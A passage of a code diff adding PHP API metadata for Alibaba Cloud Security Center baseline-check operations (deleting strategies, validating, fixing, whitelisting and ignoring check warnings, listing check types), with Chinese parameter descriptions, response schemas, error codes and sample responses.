+ ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '001BAB34-D70A-54B0-B1D7-91B76DCDD8E8', + ], + 'StrategyTargets' => [ + 'description' => '策略生效的资产的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略生效的资产的信息。', + 'type' => 'object', + 'properties' => [ + 'BindUuidCount' => [ + 'description' => '资产分组中绑定的资产的数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '85', + ], + 'Flag' => [ + 'description' => '策略是否对该资产分组生效。取值：'."\n" + ."\n" + .'- **add**：对该资产分组生效'."\n" + .'- **del**：不对该资产分组生效', + 'type' => 'string', + 'example' => 'add', + ], + 'Target' => [ + 'description' => '资产的分组ID或者UUID。', + 'type' => 'string', + 'example' => '9165712', + ], + 'TargetType' => [ + 'description' => '策略生效的资产的添加方式。取值：'."\n" + ."\n" + .'- **groupId**：按照资产的分组添加。'."\n" + .'- **uuid**：按照单个资产添加。', + 'type' => 'string', + 'example' => 'groupId', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"001BAB34-D70A-54B0-B1D7-91B76DCDD8E8\\",\\n \\"StrategyTargets\\": [\\n {\\n \\"BindUuidCount\\": 85,\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"9165712\\",\\n \\"TargetType\\": \\"groupId\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 001BAB34-D70A-54B0-B1D7-91B76DCDD8E8\\n \\n 85\\n add\\n 9165712\\n groupId\\n \\n","errorExample":""}]', + 'title' => '查询基线检查策略生效的资产信息', + ], + 'DeleteStrategy' => [ + 'summary' => '删除基线检查策略。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91974', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.0.XX.XX', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除的策略的ID。', + 'type' => 'string', + 'required' => true, + 'example' => '1404656', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","errorExample":""},{"type":"xml","example":"\\n A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\n","errorExample":""}]', + 'title' => '删除策略', + ], + 'ValidateHcWarnings' => [ + 'summary' => '验证操作是对存在的基线问题进行验证，如果验证通过，风险项状态将更新为已通过。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92458', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'RiskIds', + 'in' => 'query', + 'schema' => [ + 'description' => '需要进行验证操作的风险项ID列表。如果有多个风险项ID，使用英文逗号（,）隔开。'."\n" + .'> 您可以调用[DescribeCheckWarnings](~~DescribeCheckWarnings~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '43', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要验证的服务器的UUID。多个UUID使用半角逗号（,）分隔。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '78645c8e-2e89-441b-8eb***,a9622a6b-adb5-4dd3-929e,0136460a-1cb5-44e8-****', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。多个检查项ID使用半角逗号（,）分隔。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取检查项ID。', + 'type' => 'string', + 'required' => false, + 'example' => '695,234', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '验证的检查项状态。'."\n" + ."\n" + .'- 1：未通过'."\n" + ."\n" + .'- 3：已通过'."\n" + ."\n" + .'- 5：已失效', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '722C4F88-7867-4E7B-8ADE-7451053', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'HcVerifyingRisk', + 'errorMessage' => 'risk is verifying', + ], + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"722C4F88-7867-4E7B-8ADE-7451053\\"\\n}","type":"json"}]', + 'title' => '批量验证基线检查风险项', + ], + 'FixCheckWarnings' => [ + 'summary' => '修复基线检查风险项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'high', + 'chargeType' => 'paid', + 'abilityTreeCode' => '92285', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '165.225.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '风险项ID。'."\n" + ."\n" + .'> 查询指定风险项和指定服务器下的检查项信息，需要提供风险项ID，该ID可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10354', + ], + ], + [ + 'name' => 'CheckParams', + 'in' => 'query', + 'schema' => [ + 'description' => '设置需要修复的基线检查项参数。以下是参数解释：'."\n" + .'- **checkId**： 检查项ID。'."\n" + .'- **rules**：修复规则（数组格式）。'."\n" + .' - **value** ：设置是否选中修复方式。取值：**0**（未选中）、**1**（选中）。'."\n" + .' - **ruleId** ：设置修复方式的ID。'."\n" + .' - **paramList** ：修复方式列表（数组格式）。 '."\n" + .' • **paramName** ：修复方式名称。 '."\n" + .' • **value** ：修复方式的具体取值。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '[{"checkId":8,"rules":[{"ruleId":"rule.ssh_Idle.interval","value":1,"paramList":[{"paramName":"range_val","value":"600"},{"paramName":"range_val","value":"600"}]},{"ruleId":"rule.ssh_Idle.count","value":1,"paramList":[{"paramName":"range_val","value":"3"}]}]}]', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定待修复的资产实例的唯一标识ID，可调用[DescribeWarningMachines](~~DescribeWarningMachines~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '75a417dda5f25edb5bed8f208a9a****,c7e10fd794262a1510d5648f9e5d****', + ], + ], + [ + 'name' => 'SnapshotName', + 'in' => 'query', + 'schema' => [ + 'description' => '执行基线修复操作时，指定创建的快照名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas_fix_2024-12-04', + ], + ], + [ + 'name' => 'RetentionDays', + 'in' => 'query', + 'schema' => [ + 'description' => '执行基线修复操作时，指定创建快照的保留日期，取值范围为1~365，单位为天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'BatchId' => [ + 'description' => '返回的批量修复风险项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '52370', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '76C1D7FD-DB1E-45EA-B804-3FBD9A1DD9C0', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'HCClientOffline', + 'errorMessage' => 'Client is offline.', + ], + [ + 'errorCode' => 'InvalidBind', + 'errorMessage' => 'Asset not bind.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"BatchId\\": 52370,\\n \\"RequestId\\": \\"76C1D7FD-DB1E-45EA-B804-3FBD9A1DD9C0\\"\\n}","type":"json"}]', + 'title' => '修复基线检查风险项', + ], + 'AddBaselineCheckWhiteRecord' => [ + 'summary' => '新增基线白名单记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '196375', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询主机。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '76', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '生效目标类型：'."\n" + .'- **all_instance**：全部主机'."\n" + .'- **instance**：部分主机', + 'type' => 'string', + 'required' => false, + 'example' => 'instance', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '加白理由。', + 'type' => 'string', + 'required' => false, + 'example' => '无效', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '任务创建结果。', + 'type' => 'object', + 'properties' => [ + 'RecordId' => [ + 'description' => '记录ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '864153', + ], + 'CheckId' => [ + 'description' => '检查项的ID。'."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '76', + ], + 'TargetType' => [ + 'description' => '生效目标类型：'."\n" + .'- **all_instance**：全部主机'."\n" + .'- **instance**：部分主机', + 'type' => 'string', + 'example' => 'instance', + ], + 'Target' => [ + 'description' => '加白目标。', + 'type' => 'string', + 'example' => 'HOST_BASELINE_WHITE_LIST_21', + ], + 'Reason' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'example' => '暂时忽略', + ], + 'Source' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Lang' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'example' => 'zh', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RecordId\\": 864153,\\n \\"CheckId\\": 76,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_21\\",\\n \\"Reason\\": \\"暂时忽略\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"zh\\"\\n },\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', + 'title' => '新增基线白名单记录', + ], + 'IgnoreHcCheckWarnings' => [ + 'summary' => '对基线的风险项批量执行忽略或取消忽略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92318', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'CheckWarningIds', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项告警ID ，有多个检查项告警ID时使用英文逗号（,）分隔。'."\n" + .'> 检查项告警ID可调用[DescribeCheckWarnings](~~DescribeCheckWarnings~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '98146905,98146907', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查项ID。'."\n" + .'> 基线检查项ID可调用[DescribeCheckWarnings](~~DescribeCheckWarnings~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '21313', + ], + ], + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要执行忽略或取消忽略操作的风险项ID。'."\n" + .'> 风险项ID可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '51', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要执行的操作类型。取值：'."\n" + .'- **1**：忽略'."\n" + .'- **2**：取消忽略', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '执行当前操作的原因。', + 'type' => 'string', + 'required' => false, + 'example' => 'ignore', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询主机基线结果。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B113119F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::IgnoreCheckItems', + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B113119F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B113119F\\r\\n","errorExample":""}]', + 'title' => '对基线的风险项批量执行忽略或取消忽略', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeCustomizedStrategyTargets' => [ + 'summary' => '查询自定义策略包括的目标机器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92048', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '39.170.43.**', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + 'StartegyTargets' => [ + 'description' => '查询到的自定义策略的目标信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的自定义策略的目标信息。', + 'type' => 'object', + 'properties' => [ + 'StrategyName' => [ + 'description' => '基线检查策略的名称。', + 'type' => 'string', + 'example' => '白名单', + ], + 'StrategyId' => [ + 'description' => '基线检测策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1884', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口查询服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '14590457', + ], + 'Uuid' => [ + 'description' => '资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'example' => '2701ad2e-0e8f-428c-8812-ebb2686e****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"StartegyTargets\\": [\\n {\\n \\"StrategyName\\": \\"白名单\\",\\n \\"StrategyId\\": 1884,\\n \\"GroupId\\": 14590457,\\n \\"Uuid\\": \\"2701ad2e-0e8f-428c-8812-ebb2686e****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询自定义策略目标', + ], + 'ListCheckTypes' => [ + 'summary' => '查询符合条件的基线检查项的类型列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'title' => '指定基线ID', + 'description' => '基线的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '34', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'title' => '指定服务器uuid', + 'description' => '指定的服务器的UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '293b07cb-db2d-4f39-941f-b2e4abb8****', + ], + ], + [ + 'name' => 'ShowChecks', + 'in' => 'query', + 'schema' => [ + 'description' => '是否查询检查项列表，默认为false。取值：'."\n" + ."\n" + .'- **false**：不查询'."\n" + .'- **true**：查询', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据的来源。取值：'."\n" + .'- **default**：主机基线'."\n" + .'- **agentless**：无代理检测基线', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '返回的列表数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'CheckType' => [ + 'title' => '检查项类型', + 'description' => '检查项类型。', + 'type' => 'string', + 'example' => 'data_integrity', + ], + 'CheckTypeDisName' => [ + 'title' => '检查项类型展示名称', + 'description' => '检查项类型展示名称。', + 'type' => 'string', + 'example' => 'Data Integrity', + ], + 'CheckDetails' => [ + 'description' => '检查项详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项详情。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '31', + ], + 'CheckItem' => [ + 'description' => '检查项描述。', + 'type' => 'string', + 'example' => 'Configure the idle session timeout period.', + ], + 'AffiliatedRiskTypes' => [ + 'description' => '该检查项归属的基线分类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '该检查项归属的基线分类。', + 'type' => 'string', + 'example' => 'Best security practices', + ], + ], + 'AffiliatedRisks' => [ + 'description' => '该检查项归属的基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '该检查项归属的基线。', + 'type' => 'string', + 'example' => 'Alibaba Cloud Standard - Windows 2012 R2 Security Baseline', + ], + ], + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Count' => [ + 'description' => '返回结果的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"CheckType\\": \\"data_integrity\\",\\n \\"CheckTypeDisName\\": \\"Data Integrity\\",\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 31,\\n \\"CheckItem\\": \\"Configure the idle session timeout period.\\",\\n \\"AffiliatedRiskTypes\\": [\\n \\"Best security practices\\"\\n ],\\n \\"AffiliatedRisks\\": [\\n \\"Alibaba Cloud Standard - Windows 2012 R2 Security Baseline\\"\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Success\\": true,\\n \\"Count\\": 10,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询基线检查项的类型列表', + ], + 'CreateDynamicDict' => [ + 'summary' => '添加动态弱口令词典。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91925', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.103.9.***', + ], + ], + [ + 'name' => 'Override', + 'in' => 'query', + 'schema' => [ + 'description' => '是否覆盖。取值范围：'."\n" + .'- true：覆盖。'."\n" + .'- false：不覆盖。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + 'default' => 'false', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EACE89CB-F32B-5A85-9242-D474A2ED****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::CreateCustomizedDict', + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EACE89CB-F32B-5A85-9242-D474A2ED****\\"\\n}","type":"json"}]', + 'title' => '添加动态弱口令词典', + ], + 'UpdateBaselineCheckWhiteRecord' => [ + 'summary' => '更新基线白名单记录。', + 